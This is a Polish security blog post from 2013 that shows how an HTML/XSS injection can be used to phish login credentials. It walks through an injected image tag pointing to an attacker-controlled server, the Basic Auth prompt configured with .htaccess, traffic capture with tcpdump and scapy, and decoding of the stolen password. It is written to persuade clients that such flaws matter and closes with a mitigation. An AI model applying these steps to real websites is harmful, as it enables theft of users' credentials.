Auth Phishing - bo każde wstrzyknięcie to niebezpieczeństwo

Auth Phishing – bo każde wstrzyknięcie to niebezpieczeństwo

data: 10 czerwca, 2013
czas czytania: 11 min
autor: Adrian `Vizzdoom` Michalczyk

Bardzo często developerzy, menedżerowie lub (takiego określenia będę tu używał) klienci lekceważą błędy w aplikacjach internetowych. Jeśli trafiłeś na bardzo upartą osobę, która uważa, że błędy z rodzaju XSS (lub HTML Injection) nie są krytyczne i nie trzeba się nimi przejmować – wtedy pokaż mu ten wpis.

authphising
Powodem ignorowania błędów XSS lub ogółem HTML Injection jest fakt, że nie wpływają one bezpośrednio na bezpieczeństwo strony w takim stopniu, jak chociażby SQL Injection (wyciek bazy). Znajdywanie miejsca wstrzyknięcia jest w nowoczesnych aplikacjach internetowych bardzo trudne. Luka zazwyczaj prezentowana jest klientowi przez magiczne okienko javascript:alert(XSS) lub śmiesznego obrazka (podobnego do tego powyżej). Reakcje mogą być różne, w szczególności u klientów nietechnicznych. Oczywiście kotek może zepsuć wizerunek strony, podobnie jak wyświetlenie obraźliwych tekstów poprzez funkcję alert().Klienci jednak często nie mają pojęcia, że poprzez luki XSS można przejąć ciastko administratora i zarządzać portalem w jego imieniu.

Klienci muszą zrozumieć, że pentester pokazuje próbkę możliwości i nie ma czasu przygotowywać payloadów, które mogłyby wyrządzić dużo szkód. Dlatego zazwyczaj treść raportu testu penetracyjnego zawiera takie proste przypadki. Gdy pentester nie wyjaśni wielkości problemu, klient lukę zbagatelizuje, kotka można łatwo usunąć, napisy aż tak nie przeszkadzają, a w najgorszym wypadku jak ktoś wykradnie cookies administratora – i tak nie pozna jego hasła. Nie lepiej więc poczekać, aż będziemy mieli więcej czasu w projekcie i naprawiać takie błędy szybko? Otóż nie.

W tym wpisie pokażę, jak przy wykorzystaniu luki XSS wydobyć loginy i hasła klientów, wykorzystując do tego tylko możliwość np. wstrzyknięcia adresu obrazka. Taka mała demonstracja powinna otworzyć oczy nietechnicznym klientom.

Co zrobimy?

Przykład ataku, który chcę opisać nazwałem AuthPhishing. Jest to pewnego rodzaju atak socjotechniczny, który najłatwiej wykorzystać przy szybkiej demonstracji luk XSS/HTML/CSS Injection (chociaż niekoniecznie, patrz paragraf „A gdy nie mam XSS?”.

Celem ataku jest wyświetlenie użytkownikowi spreparowanej informacji w taki sposób, aby był w stanie w nią uwierzyć (bez oznak agresywnej zmiany wyglądu strony, zmiana adresu pasku adresu i tak dalej).

Użytkownik zostanie nakłoniony do przeprowadzenia procesu uwierzytelniania/autoryzacji, a my wykradniemy mu dane autoryzacyjne (plaintext).

Założenia

  1. Posiadamy pod kontrolą serwer lub komputer, gdzie możemy udostępniać po HTTP zasoby (np. przez link do obrazka) i gdzie mamy możliwość nasłuchiwania ruchu sieciowego (np. przez tcpdump, wireshark, scapy np.)
  2. Znajdujemy lukę z rodzaju XSS/HTML Injection lub podobną, gdzie możemy odwołać się do zewnętrznego zasobu np. gdy udaje się wstrzyknąć
    <img src="..."/>

    Możemy też użyć metod opisanych w paragrafie „A gdy nie mam XSS?”

  3. Dobrze, jeśli w badanej aplikacji użytkownicy są przyzwyczajeni do autoryzacji przez Basic/Digest Access Authentication protokołu HTTP. Znacznie zwiększa to skuteczność ataku

XSS AuthSpoofing Case Study

Tło ataku i założenia

Wykonanie ataku zademonstruję przy wykorzystaniu hipotetycznej luki znalezionej w aplikacji internetowej. Błąd jest rodzaju HTML Injection. Załóżmy, że jest on na tyle specyficzny, że nie pozwala na wstrzyknięcie kodu javascript. Dodatkowo używanie tagów i ich właściwości też jest mocno utrudnione, przez co nie można wykorzystać w prosty sposób innych podobnych ataków (np. tych z rodziny UI Redressing).

Na szczęście po pewnych manipulacjach nagłówkami HTTP jest możliwość wstrzyknięcia dowolnego obrazka.

Dodatkowo logowanie do aplikacji odbywa się przez przy wykorzystaniu Basic lub Digest Auth.

Przygotowanie zasobu

Na własnym serwerze uruchamiam demona HTTP (np. Apache), tworzę katalog oraz plik, który na zewnątrz jest widziany pod poniższym adresem:

  • http://vizzdoom.net/wp-content/uploads/private/authphishingdemo/photo.jpg

Jest to zwykły obrazek, który ma nie wzbudzać żadnych podejrzeń. Może to być przezroczysty o rozmiarach 1x1px.

Podłączenie sniffera

Kolejnym krokiem jest włączenie nasłuchiwania ruchu sieciowego na kontrolowanym serwerze z obrazkiem. Można to zrobić na różne sposoby.

Metoda pierwsza – Klasyczny tcpdump przy użyciu filtrów BPF na przykład (dla ip serwera 83.0.0.1, w trybie bardzo gadatliwym -vvv, z zapisywaniem plików pcap -w, nasłuchiwanie interfejsu eth0 -i, drukowaniem nagłówków w HEX oraz ASCII -X, próbując przechwycić cały pakiet -s0):

tcpdump -vvv -w auth1.pcap -i eth0 -X -s0 ip dst 83.0.0.1 and tcp dst port 80

Przechwytywane pakiety znajdą się w pliku auth1.pcap. Ten format można odczytywać w wielu narzędziach, np. tcpdump, wireshark, scapy.
Ja używam wygodniejszego sposobu: scapy. Jest to program/rozszerzenie Pythona, dzięki któremu możemy analizować, tworzyć lub modyfikować ruch sieciowy. Instalacja na systemach z rodziny debian/ubuntu jest bardzo prosta – wystarczy użyć polecenia sudo apt-get install python-scapy.

Po uruchomieniu programu (komenda scapy) widzimy interpreter poleceń, jest to Python z załadowanymi bibliotekami scapy.
Nasłuchiwany ruch można przypisać do zmiennej i go wygodnie przeglądać/modyfikować/wysyłać. Służy do tego funkcja sniff, która używa filtrów BPF (podobnie jak tcpdump wyżej):

pakiety = sniff(filter='ip dst 83.0.0.1 and tcp dst port www')

Do momentu naciśnięcia Ctrl+c program przechwytuje ruch i zapisuje go w tablicy pakiety.

Phishing

Lokalizujemy błąd XSS/HTML Injection na testowanej stronie i linkujemy przy wykorzystaniu luki do obrazka, np. w ten sposób:

<img src="http://vizzdoom.net/wp-content/uploads/private/authphishingdemo/photo.jpg" />

Najlepszym miejscem na umieszczenie payloadu jest strona główna z newsami, podpis na forum lub inne miejsce, które jest pokazywane dużej liczbie użytkowników (najlepiej od razu po wejściu na stronę).

Czekamy przez pewien czas i w momencie największej aktywności włączamy sniffer. Następnie w katalogu z naszym obrazkiem na serwerze tworzymy pliki:

  •  .htaccess
  •  .htpasswd

Dzięki tym plikom nakazujemy serwerowi HTTP Apache włączenie uwierzytelniania przy wykorzystaniu Basic Auth. Plik .htaccess na serwerze atakującego uzupełniamy następująco: AuthName „Podaj nazwe żytkownika i haslo dla webserwisu https://some-company.com/login” AuthUserFile .htpasswd AuthType basic Require valid-user

Drugi plik tworzymy przy pomocy polecenia htpasswd –c .htpasswd Vizzdoom i uzupełniamy dowolnymi hasłami.

Należy ustawić odpowiednie uprawnienia do plików, zgodnie z konfiguracją Apache. Oczywiście można użyć tutaj dowolnego serwera HTTP, chociażby nginx, serwera aplikacji Glassfish lub kontenera Tomcat (i przeprowadzić ich konfigurację uwierzytelniania).

Co się teraz stanie?

Przeglądarka użytkownika, pobierze kod HTML ze wstrzykniętym obrazkiem z zewnętrznego hosta. Przeglądarka, gdy zacznie renderować wygląd strony, spróbuje odwołać się wcześniej do zasobu obrazka, pobrać do pamięci i wyświetlić. Wysłane zostanie żądanie HTTP do naszego serwera, na którym przechwytujemy ruch. Nasz serwer odpowie, że dostęp do obrazka jest możliwy tylko po podaniu danych uwierzytelniających. Przeglądarka użytkownika rozpoznaje takie żądanie i wyświetla charakterystyczne okienko modalne:

authphising2
Komunikat witryny można ustawić w pliku .htaccess. Minusem jest fakt, że przeglądarki pokazują, jaka witryna chce uzyskać dane (tutaj vizzdoom.net). Może to spowodować, że bardziej doświadczeni użytkownicy nie nabiorą się na ten prosty atak. Oczywiście komunikat ten w pewnym sensie można zmodyfikować, np. poprzez wykupienie taniej domeny podobnej do atakowanej, manipulację DNS ofiary lub inne.
Po wpisaniu danych, przeglądarka wysyła do naszego serwera zapytanie, które posiada zakodowaną parę użytkownik-hasło kodując ją algorytmem base64.

GET /nasz/obrazek.jpg HTTP/1.1
Host: naszserwer.com
Authorization: Basic Base64EncodedLoginAndPassword/

Informacja ta trafia do naszego sniffera.

Odczyt loginu i hasła

Dane, które trafiły do tcpdumpa, można odczytać w GUI przez program Wireshark lub wysłać je do Scapy (po uruchomieniu scapy wpisz: pakiety = rdpcap(’plik.pcap’) ).

Pokażę sposób, jak odczytać hasła użytkowników przy użyciu scapy:

  • Zatrzymaj nasłuchiwanie pakietów w scapy lub załaduj plik pcap do zmienniej pakiety
  • Przeglądaj informacje o tablicy zebranych pakietów:
>>> pakiety.show()
0000 Ether / IP / TCP 83.0.0.22:26802 > 83.0.0.1:www PA / Raw
0001 Ether / IP / TCP 83.0.0.22:26802 > 83.0.0.1:www FA / Padding
0002 Ether / IP / TCP 83.0.0.22:26811 > 83.0.0.1:www S
0003 Ether / IP / TCP 83.0.0.22:26811 > 83.0.0.1:www A / Padding
0004 Ether / IP / TCP 83.0.0.22:26811 > 83.0.0.1:www PA / Raw
0005 Ether / IP / TCP 83.0.0.22:26811 > 83.0.0.1:www A / Padding
  • Przeglądaj tablicę w poszukiwaniu danych z HTTP Access Authentication:
>>> pakiety[5].show()
###[ Ethernet ]###
  dst= 00:1f:16:f8:37:72
  src= c0:c1:c0:b8:4e:30
  type= 0x800
###[ IP ]###
     version= 4L
     ihl= 5L
     tos= 0x0
     len= 1269
     id= 25801
     flags= DF
     frag= 0L
     ttl= 127
     proto= tcp
     chksum= 0xee4
     src= 83.0.0.22
     dst= 83.0.0.1
     options
###[ TCP ]###
        sport= 26811
        dport= www
        seq= 3606705628
        ack= 824469450
        dataofs= 5L
        reserved= 0L
        flags= PA
        window= 16425
        chksum= 0x4529
        urgptr= 0
        options= []
###[ Raw ]###
           load= 'GET /wp-content/uploads/private/authphishingdemo/photo.jpg 
HTTP/1.1rnHost: vizzdoom.netrnUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:11.0) Gecko/20100101 Firefox/11.0rnAccept: 
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rnAccept-Language: pl,en-us;q=0.7, en;q=0.3rnAccept-Encoding: gzip, deflaternDNT: 1rnConnection: keep-alivernCache-Control: max-age=0, max-age=0, max-age=0rnAuthorization: Basic dml6emRvb206dml6emRvb20ubmV0amFrb2hhc2xvdG96bHlwb215c2w/rnrn'

Dane te wystarczy teraz tylko odkodować. W Pythonie możemy to zrobić po wydaniu funkcji:

>>> import base64
>>> base64.decodestring('dml6emRvb206dml6emRvb20ubmV0amFrb2hhc2xvdG96bHlwb215c2w/')
'vizzdoom:vizzdoom.netjakohaslotozlypomysl?'

Posłowie

Problemy tej metody

Po pierwsze trzeba sobie uzmysłowić, że jest to bardzo prosty atak. Wszystko zależy od tego, jak dobrze go przygotujemy, ponieważ w praktyce jest to atak socjotechniczny (phishingowy).

Mimo tego, że nie zmienia się ani adres w pasku przeglądarki, ani strona nie posiada błędów, istnieje możliwość, że na niektórych przeglądarkach zauważymy znaczek popsutego obrazka w miejscu naszego payloadu. Jest to pewien problem, ponieważ jest to kolejny element, który zdradza atakującego.

Dużym problemem jest również szyfrowanie strony. Jeżeli strona poprawnie jest w całości szyfrowana, wtedy odwołanie się do naszego obrazka spowoduje przekreślenie znaku kłódki w adresie przeglądarki. Wbrew pozorom to też nie jest duży problem, ponieważ:

  • mało stron całkowicie poprawnie obsługuje HTTPS
  • mało kto zwraca uwagę, że znaczek kłódki nagle się przekreśla
  • nie wyskakuje okienko z zatwierdzeniem żadnego certyfikatu lub jego unieważnieniem
  • przede wszystkim przeglądarki pokazują okienko modalne, które trzeba uzupełnić lub zamknąć. To skutecznie odwraca uwagę ofiary lub nawet uniemożliwia zobaczenie symbolu przekreślonej kłódki

Niektóre wersje popularnych przeglądarek blokują możliwość wyświetlenia okienka autoryzacji, gdy nie pochodzi ono z tego samego hosta, który odwiedzamy. Firefox 10 i Opera 11 wyświetlają takie okienko i pozwalają na przeprowadzenie ataku. Chrome 17 nie pokazuje okna, chroniąc użytkownika. Warto zaznaczyć, że niektóre wersje Firefoxa informują, że użytkownik może być narażony na pewnego rodzaju atak, ale dopiero po zamknięciu okna modalnego (więc jak ktoś się nabierze i tak będziemy mieli hasło).

A gdy nie mam XSS?

A gdy błędu XSS nie posiadamy, to jest wiele innych sposobów, aby wstrzyknąć złośliwy obrazek do webaplikacji. Wystarczy, że w jakikolwiek sposób nakłonisz, by pewni użytkownicy widzieli treść, która pochodzi z Twojego serwera. Duża część webaplikacji pozwala na linkowanie do obrazków z zewnętrznych źródeł – wystarczy wtedy, że podlinkujesz swój obrazek i dalej będziesz postępować zgodnie ze wcześniejszymi poradami.

Jak się przed tym chronić, gdy chcemy dać możliwość używania np. obrazków z obcych źródeł w aplikacji? Bardzo łatwo – niech użytkownik podaje URI, a webaplikacja niech sama pobiera obraz, sprawdza czy jest poprawnym plikiem i wyświetla go ze swojego kontekstu.

Wnioski

Phishing to nie tylko maile z ofertą leków i opowieści o przekrętach/dotacjach dla firm w Afryce. W łatwy sposób przy wykorzystaniu mechanizmów dostępnych w milionach aplikacji internetowych da się ukraść dane użytkowników.

Błędy z rodziny XSS i HTML zawsze mogą okazać się niebezpieczne i nie można ich ignorować.
Atak taki jak ten – to tylko wierzchołek góry lodowej. Niech Twój klient o tym pamięta!

Newsletter IT leaks

Dzielimy się inspiracjami i nowinkami z branży IT. Szanujemy Twój czas - obiecujemy nie spamować i wysyłać wiadomości raz na dwa miesiące.

Subscribe to our newsletter

Administratorem Twoich danych osobowych jest Future Processing S.A. z siedzibą w Gliwicach. Twoje dane będziemy przetwarzać w celu przesyłania cyklicznego newslettera dot. branży IT. W każdej chwili możesz się wypisać lub edytować swoje dane. Więcej informacji znajdziesz w naszej polityce prywatności.

Subscribe to our newsletter

Administratorem Twoich danych osobowych jest Future Processing S.A. z siedzibą w Gliwicach. Twoje dane będziemy przetwarzać w celu przesyłania cyklicznego newslettera dot. branży IT. W każdej chwili możesz się wypisać lub edytować swoje dane. Więcej informacji znajdziesz w naszej polityce prywatności.